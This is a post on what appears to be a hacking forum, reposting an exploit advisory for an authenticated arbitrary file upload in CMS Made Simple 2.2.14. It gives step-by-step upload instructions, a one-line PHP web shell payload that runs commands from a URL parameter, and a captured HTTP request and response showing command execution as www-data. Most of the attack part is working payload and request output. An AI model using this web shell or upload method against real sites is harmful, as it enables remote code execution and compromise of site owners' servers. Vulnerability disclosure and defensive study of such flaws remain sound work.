Jump to content
  • Hello visitors, welcome to the Hacker World Forum!

    Red Team 1949  (formerly CHT Attack and Defense Team) In this rapidly changing Internet era, we maintain our original intention and create the best community to jointly exchange network technologies. You can obtain hacker attack and defense skills and knowledge in the forum, or you can join our Telegram communication group to discuss and communicate in real time. All kinds of advertisements are prohibited in the forum. Please register as a registered user to check our usage and privacy policy. Thank you for your cooperation.

    TheHackerWorld Official

CMS Made Simple 2.2.14 - Authenticated Arbitrary File Upload


Recommended Posts

# Exploit Title: CMS Made Simple 2.2.14 - Arbitrary File Upload (Authenticated)
# Google Dork: -
# Date: 2020-07-29
# Exploit Author: Roel van Beurden
# Vendor Homepage: https://www.cmsmadesimple.org/
# Software Link: http://s3.amazonaws.com/cmsms/downloads/14793/cmsms-2.2.14-install.zip
# Version: 2.2.14
# Tested on: Linux Ubuntu 18.04
# CVE: N/A

1. Description:
CMS Made Simple 2.2.14 allows Authenticated Arbitrary File Upload because the File Manager does not block .ptar and .phtml files. A malicious user can perform remote code execution.

2. Proof of Concept:
- Create .phtml or .ptar file with malicious PHP payload;
- Upload .phtml or .ptar file in the 'File Manager' module;
- Click on the uploaded file to perform remote code execution.

3: Example payload:
<?php system($_GET['cmd']);?>

4a: Burp request:
GET /cmsms/uploads/rce.phtml?cmd=id HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close

Cookie: d2f3b04a992e92af78d4f451813df40fa6f4f4b4=2c462b984c95aa0a8d18f59e2dd21defb7d7e368%3A%3AeyJ1aWQiOjIsInVzZXJuYW1lIjoiUm9lbCIsImVmZl91aWQiOm51bGwsImVmZl91c2VybmFtZSI6bnVsbCwiaGFzaCI6IiQyeSQxMCQ4NS5qSy5nTTMxZmJEQmlGTXlIYlQuUUR5eFRDekpsSVFncjhOS1FMbDhBSUlIUjVYeVNJZSJ9; __c=e9ef732e78dc5a9f603; CMSSESSIDde72be53c754=71mvdcppeeunddtap69k26ia4v

Upgrade-Insecure-Requests: 1

4b: Burp response:
HTTP/1.1 200 OK
Date: Thu, 30 Jul 2020 23:14:47 GMT
Server: Apache/2.4.29 (Ubuntu)
Content-Length: 54
Connection: close
Content-Type: text/html; charset=UTF-8

uid=33(www-data) gid=33(www-data) groups=33(www-data)
Link to post
Link to comment
Share on other sites


discussion group

discussion group

    You don't have permission to chat.
    • Recently Browsing   0 members

      • No registered users viewing this page.
    • Create New...